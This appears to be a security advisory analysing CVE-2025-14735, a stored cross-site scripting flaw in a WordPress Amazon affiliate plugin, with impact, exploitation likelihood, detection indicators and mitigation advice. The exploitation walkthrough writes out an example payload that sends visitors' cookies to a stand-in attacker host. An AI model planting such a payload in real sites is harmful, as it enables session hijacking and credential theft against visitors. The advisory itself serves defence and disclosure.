CVE-2025-14735: 
WordPress vulnerability analysis and mitigation

CVE-2025-14735 is a Stored Cross-Site Scripting (XSS) vulnerability in the "Amazon affiliate lite Plugin" for WordPress, affecting all versions up to and including 1.0.0. The flaw arises from insufficient input sanitization and output escaping in admin settings, allowing authenticated attackers with administrator-level permissions to inject arbitrary web scripts into pages. The vulnerability only impacts multi-site WordPress installations or those where unfiltered_html has been disabled. It was published on December 20, 2025, and carries a CVSS v3.1 base score of 4.4 (Medium) (Wordfence, Red Hat CVE).

The vulnerability is classified as CWE-80 (Improper Neutralization of Script-Related HTML Tags in a Web Page / Basic XSS). The root cause is insufficient input sanitization and output escaping in the plugin's admin settings handler, specifically in ADAL-core.php at lines 105 and 236. An authenticated administrator can submit malicious JavaScript payloads through the plugin's settings interface; these are stored in the database and rendered unsanitized to any user who visits an affected page. Exploitation requires administrator-level authentication and is constrained to multi-site environments or those with unfiltered_html disabled (Wordfence, ENISA EUVD).

Successful exploitation allows an attacker to persistently inject arbitrary JavaScript into WordPress pages, which executes in the browsers of any user visiting those pages. This can lead to session hijacking, credential theft, defacement, or redirection of users to malicious sites. The scope is marked as "Changed" in the CVSS vector, indicating that the injected script can affect users beyond the attacker's own session. The impact is limited to confidentiality (low) and integrity (low), with no availability impact, and is further constrained to specific WordPress deployment configurations (Wordfence, Red Hat CVE).

There is no public evidence of active in-the-wild exploitation or weaponized exploit kits for CVE-2025-14735 at this time. The EPSS score is approximately 0.022% (0.000220), indicating a very low probability of exploitation in the near term. The vulnerability requires high privileges (administrator-level authentication) and specific deployment conditions (multi-site or unfiltered_html disabled), significantly limiting the attack surface. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence, ENISA EUVD).

1. Authentication: Log in to the WordPress admin panel with an account holding administrator-level privileges or higher on a multi-site installation or one where unfiltered_html is disabled.
2. Navigate to plugin settings: Access the "Amazon affiliate lite Plugin" settings page within the WordPress admin dashboard.
3. Inject malicious payload: Enter a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into one of the vulnerable admin settings fields corresponding to lines 105 or 236 of ADAL-core.php.
4. Save settings: Submit the form to store the malicious script in the WordPress database.
5. Trigger execution: When any user (including non-administrators) visits a page that renders the affected plugin output, the injected script executes in their browser, enabling session hijacking or further attacks (Wordfence, ENISA EUVD).

• Logs: WordPress admin audit logs showing unexpected changes to the "Amazon affiliate lite Plugin" settings by administrator accounts; access logs with unusual POST requests to the plugin's settings endpoint.
• Database: Presence of <script> tags or encoded JavaScript (e.g., <script>, %3Cscript%3E) in the plugin's stored settings rows in the wp_options table.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages with the plugin's output, potentially indicating cookie or credential exfiltration.
• File System: Unexpected modifications to ADAL-core.php or related plugin files, though the primary attack vector is database-stored content rather than file modification (Wordfence).

Users should update the "Amazon affiliate lite Plugin" to a version beyond 1.0.0 if a patched release is available from the plugin author (nestornoe). As a workaround, administrators can enable unfiltered_html (if appropriate for the deployment) or restrict administrator account access to trusted users only. On multi-site installations, network administrators should audit plugin settings for injected content and consider disabling the plugin until a patch is confirmed. Monitoring admin-level account activity and reviewing stored plugin settings for unexpected script content is also recommended (Wordfence, ENISA EUVD).

The vulnerability was discovered and reported by Wordfence, which published the initial advisory. Coverage has been limited to automated vulnerability aggregators and security feeds, with no notable researcher commentary or significant media coverage identified beyond standard CVE tracking (Wordfence).